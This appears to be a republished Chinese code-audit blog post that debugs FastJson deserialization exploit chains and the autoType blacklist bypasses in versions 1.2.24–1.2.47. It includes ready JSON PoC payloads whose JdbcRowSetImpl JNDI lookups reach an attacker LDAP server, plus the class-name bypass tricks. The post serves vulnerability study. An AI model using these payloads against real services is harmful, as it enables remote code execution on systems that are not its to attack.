Java代码审计FastJson反序列化利用链跟踪动态调试autoType绕过

目录

0x00 前言

0x01 基础参考

JNDI注入实例

使用@type加入User类解析

FastJson历史漏洞简介

0x02 FastJson 1.2.24 利用链分析

调试过程

构造Poc思路

CC链关键流程

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41

调试过程

构造Poc思路

CC链关键流程

疑问

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)

CC链关键流程

构造Poc思路


0x00 前言

希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!  

个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog

0x01 基础参考

JNDI注入实例

关于 javax.naming.InitialContext.lookup(),在我之前的文章讲过,不再赘述

文章链接:JNDI注入&Log4j&FastJson&白盒审计&不回显处理-CSDN博客

方式1:
new InitialContext().lookup("ldap://192.168.196.128:1389/anqqyh");

方式2:
InitialContext var1 = new InitialContext();

DataSource lookup = (DataSource) var1.lookup("ldap://192.168.196.128:1389/anqqyh");
使用@type加入User类解析
String userStr = "{\"@type\":\"com.example.fastjsondemo.demos.web.User\",\"age\":21,\"name\":\"ch4ser\"}";

JSONObject data = JSON.parseObject(userStr);

System.out.println(data);

观察到 FastJson 解析 JSON 字符串时会自动执行类的 get 和 set 方法,这是因为 FastJson 反序列化用的是自定义方法,而不是原生的反序列化(原生的并不会执行类的 get 和 set 方法),这也是后续利用的关键点

FastJson历史漏洞简介

1.2.24及以下没有对序列化的类做校验,导致漏洞产生

1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。

1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式

1.2.43版本是对1.2.42及以下版本的黑名单绕过

1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用

1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击

1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破

1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验

1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

0x02 FastJson 1.2.24 利用链分析

Poc:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
	"autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

步入,发现 parseObject() 其实也会用到 parse(),这里的 parse() 是 JSONObject 类的方法

步入,这里首先创建一个 DefaultJSONParser 对象,然后调用 parse() 方法来解析 JSON 字符串

DefaultJSONParser 是 FastJson 解析 JSON 字符串的核心组件,parse() 是 DefaultJSONParser 类中的一个方法

整个解析过程分为两个阶段:

1、判断是否为 JSON 字符串格式

2、键(key)  、值(value) 的获取

来到 DefaultJSONParser.class,关注到如下代码:

1、判断 key 是否等于 DEFAULT_TYPE_KEY(即@type)

2、调用 scanSymbol 方法解析出 key 对应的 value

3、通过 loadClass 获取指定类的 Class 对象并赋值给变量 clazz(涉及Java反射机制)

继续跟进,这里通过 getDeserializer 获取反序列化器,然后调用其 deserialze 方法进行反序列化

点击调试窗的 Navigate,来到对应反序列化的类 JdbcRowSetImpl.class

发现该类的 connect() 方法使用了 InitialContext.lookup(),这就是造成JNDI 注入的关键点

继续搜索发现 setAutoCommit 方法调用了 connect 方法

构造Poc思路
1、由于 lookup() 传入的变量为 this.getDataSourceName(),想到可以控制 dataSourceName 值,让其等于 ldap://192.168.196.128:1389/5ltgie 构造 JNDI 注入

2、由于 setAutoCommit 调用了 connect,那么控制 autoCommit 为 true 即可触发

3、完整的 Poc 为:
{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"ldap://192.168.196.128:1389/5ltgie",
	"autoCommit":true
}
CC链关键流程

parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->

JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)

0x03 FastJson 1.2.25-1.2.47 利用链分析

1、开启autoTypeSupport:1.2.25-1.2.41
1、autoTypeSupport?
autoTypeSupport默认是关闭的

2、怎么打开autoTypeSupport?
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

2、Poc?
在原来基础上前加 "L",后加 ";"
{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
	"autoCommit":true
}
调试过程

在 JSON.parseObject(Pocstr) 处打上断点,后续进行动态调试分析

来到 DefaultJSONParser.class,与之前不同的是这里新增了 checkAutoType 方法,顾名思义就是用来检测 autoTypeSupport 的

步入,由于开启了 autoTypeSupport=true,所以这里进行了白、黑名单检测

我没有进行任何修改情况下,白名单默认是空的,黑名单有22个

经过白、黑名单后,下一步又来到了熟悉的 loadClass

步入,发现其做了两个处理:

1、若 className 开头为 "]",则获取去掉后 "]" 的 Class 对象

2、若 className 开头为 "L" 且结尾为 ";",则获取去掉 "L" 和 ";" 后的 Class 对象

在未处理前,className 如下:

在处理后,className 如下:

由此可见又变回了 com.sun.rowset.JdbcRowSetImpl,后续操作同理,不再赘述

构造Poc思路
1、由于 loadClass 对以"L"为开头且以";"为结尾的className做了去除处理,所以只需前加"L"后加";"即可
3、完整的 Poc 为:
{
	"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
	"dataSourceName":"ldap://192.168.196.128:1389/anqqyh",
	"autoCommit":true
}
CC链关键流程

checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName

疑问

若默认关闭autoTypeSupport,整个Poc执行流程是怎样的呢?如下:

来到 DefaultJSONParser.class,可以看到这里 autoTypeSupport 是为 false的,所以没有像开启时一样进入这个白、黑名单判断

而是来到了下面这个黑、白名单判断

紧接着来到了下面的 if 判断,最终抛出了异常,GG掉了

后续版本绕过思路(开启 autoTypeSupport 情况):

1.2.42 版本:
该版本先判断反序列化目标类的类名前后是不是 'L' 和 ';' 
若是,则先去掉 'L' 和 ';' ,再黑白名单校验
其绕过非常简单,只需要双写 'L' 和 ';'


1.2.43 版本:
黑白名单判断前,新增了一个是否以 'LL' 开头的判断
若以 'LL' 开头,则直接抛异常,非常随意解决了双写的问题
但是除了'L' 和 ';',FastJson在加载类的时候,对 '[' 也特殊处理了
其绕过为在前面添加 '['

1.2.44 版本:
来了个狠的,只要你以 '[' 开头或者 ';' 结尾,直接抛异常,终于解决了缠绵多个版本的漏洞

2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
1、poc?
testStr={
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
        "autoCommit":true
    }
}

这种通杀方案不需要开启 autoTypeSupport,同样我也跟着调试了一遍,但是跟的不是很清晰,后来问师傅才知道为什么这个 poc 要这样写。

CC链关键流程

FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。

第一步利用java.lang.Class将恶意类加载到mappings中;

第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。

构造Poc思路

简单来说,可以理解为 java.lang.Class 是白名单,先用 a 的 java.lang.Class 白名单把 com.sun.rowset.JdbcRowSetImpl 恶意类加载到 mappings,然后到处理 b 的时候就直接从 mappings 拿数据,就不会进入到黑名单了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/324896.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

centos7 arm服务器编译安装python 3.8

前言 CentOS (Community Enterprise Operating System) 是一种基于 Red Hat Enterprise Linux (RHEL) 进行源代码再编译并免费提供给用户的 Linux 操作系统。 CentOS 7 采用了最新的技术和软件包,并提供了强大的功能和稳定性。它适用于各种服务器和工作站应用场景&a…

【数据库原理】(27)数据库恢复

在数据库系统中,恢复是指在发生某种故障导致数据库数据不再正确时,将数据库恢复到已知正确的某一状态的过程。数据库故障可能由多种原因引起,包括硬件故障、软件错误、操作员失误以及恶意破坏。为了确保数据库的安全性和完整性,数…

SpringMVC SpringMVC 的入门

2.1.环境搭建 2.1.1.创建工程 2.1.2.添加web支持 右键项目选择Add framework support... 如果没有,可以参考idea2023版如何新建web项目 2.添加web支持 ​ 3.效果 ​ 注意: 不要先添加打包方式将web目录要拖拽到main目录下,并改名为…

MySQL多表关联查询练习题

一、创建表的素材 1.创建student和score表 CREATE TABLE student ( id INT(10) NOT NULL UNIQUE PRIMARY KEY , name VARCHAR(20) NOT NULL , sex VARCHAR(4) , birth YEAR, department VARCHAR(20) , address VARCHAR(50) ); 创建score表。SQL代码如下: …

QTabelView使用代理自定义,第一列为QLabel第二列为下拉框

预览界面 代理源文件 CustomParamViewDelegate.cpp #include "CustomParamViewDelegate.h"CustomParamViewDelegate::CustomParamViewDelegate(QObject *parent): QStyledItemDelegate(parent) {}CustomParamViewDelegate::~CustomParamViewDelegate() {}QWidget* …

C#MQTT编程06--MQTT服务器和客户端(winform版)

1、前言 介绍完基础理论部分,下面在Windows平台上搭建一个简单的MQTT应用,进行简单的应用,整体架构如下图所示; 消息模型: 运用MQTT协议,设备可以很方便地连接到物联网云服务,管理设备并处理数…

基于SSM的网上招聘系统的设计与实现

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:Vue 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目:是 目录…

云服务器CVM_云主机_云计算服务器_弹性云服务器-腾讯云

腾讯云服务器CVM提供安全可靠的弹性计算服务,腾讯云明星级云服务器,弹性计算实时扩展或缩减计算资源,支持包年包月、按量计费和竞价实例计费模式,CVM提供多种CPU、内存、硬盘和带宽可以灵活调整的实例规格,提供9个9的数…

【QML COOK】- 009-组件(Components)

组件对于QML来说就如同C的类一样。可以用同一个组件创建多个对象。 组件有两种定义方式: 用独立的.qml文件定义组件在.qml文件中用Component对象定义组件 1. 创建项目,新建文件IndependentComponent.qml import QtQuickRectangle {id : rootText {id…

Sqoop安全性:确保安全的数据传输

确保数据传输的安全性在大数据处理中至关重要。Sqoop作为一个用于数据传输的工具,也提供了多种安全性措施,以确保数据在传输过程中的机密性和完整性。本文将深入探讨Sqoop的安全性特性,提供详细的示例代码和全面的内容,以帮助大家…

Flink-SQL——时态表(Temporal Table)

时态表(Temporal Table) 文章目录 时态表(Temporal Table)数据库时态表的实现逻辑时态表的实现原理时态表的查询实现时态表的意义 Flink中的时态表设计初衷产品价格的例子——时态表汇率的例子——普通表 声明版本表声明版本视图声明普通表 一个完整的例子测试数据代码实现测试…

使用flutter开发一个渐变色按钮

因为项目需要,需要使用flutter开发一个渐变色的按钮,flutter自带的按钮样式不太好调整,所以需要自定义实现,实现的思路就是使用GestureDetector嵌套Container,Container里面嵌套text实现。 实现的效果: 实…

【Nuxt3】nuxt3目录文件详情描述:.nuxt、.output、assets、public、utils(一)

简言 nuxt3的中文网站 上次简单介绍了nuxt3创建项目的方法和目录文件大概用处。 这次详细说下.nuxt、.output、assets、public、utils五个文件夹的用处。 正文 .nuxt Nuxt在开发中使用.nuxt/目录来生成你的Vue应用程序。 为了避免将开发构建的输出推送到你的代码仓库中&…

C语言:自定义类型——结构体

一、什么叫做结构体 C语⾔已经提供了内置类型,如:char、short、int、long、float、double等,但是只有这些内置类型还是不够的,假设我想描述学⽣,描述⼀本书,这时单⼀的内置类型是不⾏的。描述⼀个学⽣需要 …

每日一练:LeeCode-144、145、94.二叉树的前中后序遍历【二叉树】

本文是力扣LeeCode-144、145、94.二叉树的前中后序遍历 学习与理解过程,本文仅做学习之用,对本题感兴趣的小伙伴可以出门左拐LeeCode前序遍历、中序遍历、后序遍历。 给你二叉树的根节点 root ,返回它节点值的 前序遍历。 给定一个二叉树的根…

RK3399平台入门到精通系列讲解(外设篇)热成像传感器MLX90640 JNI控制程序

文章目录 JNI回调函数回调函数的实现驱动可以详看:链接 JNI 文件:native-lib.cpp

编译 FastDFS 时报错 fatal error: sf/sf_global.h: No such file or directory 解决办法

编译 FastDFS 时,报错如下 gcc -Wall -D_FILE_OFFSET_BITS64 -D_GNU_SOURCE -g -O1 -DDEBUG_FLAG -c -o ../common/fdfs_global.o ../common/fdfs_global.c -I../common -I/usr/local/include In file included from ../common/fdfs_global.c:21:0: ../common/fdf…

Ps:认识路径

在 Photoshop 中,路径 Path广泛地应用于创建精确的图像边界(包括精准抠图)以及复杂的图形设计之中。 路径又称为“矢量路径”,或者“贝塞尔曲线” Bezier Curves路径。 路径本身只是一种基于数学方程的“轮廓指示”,并…

曲面上偏移命令的查找

今天学习老王的SW绘图时,遇到一个命令找不到,查询了一会终于找到了这个命令,防止自己忘记,特此记录一下,这个命令就是“曲面上偏移”,网上好多的教程都是错误的,实际上这个命令没有在曲面里面&a…

绝地求生追封原理

绝地求生追封原理是指在网络游戏《绝地求生》中,玩家通过观察和分析游戏中的各种信息,追踪其他玩家的位置和行动,以便更好地进行战术和攻击。 追封原理主要通过以下几种方式实现: BattleEye作弊系统检测 绝地求生玩家对这个系统…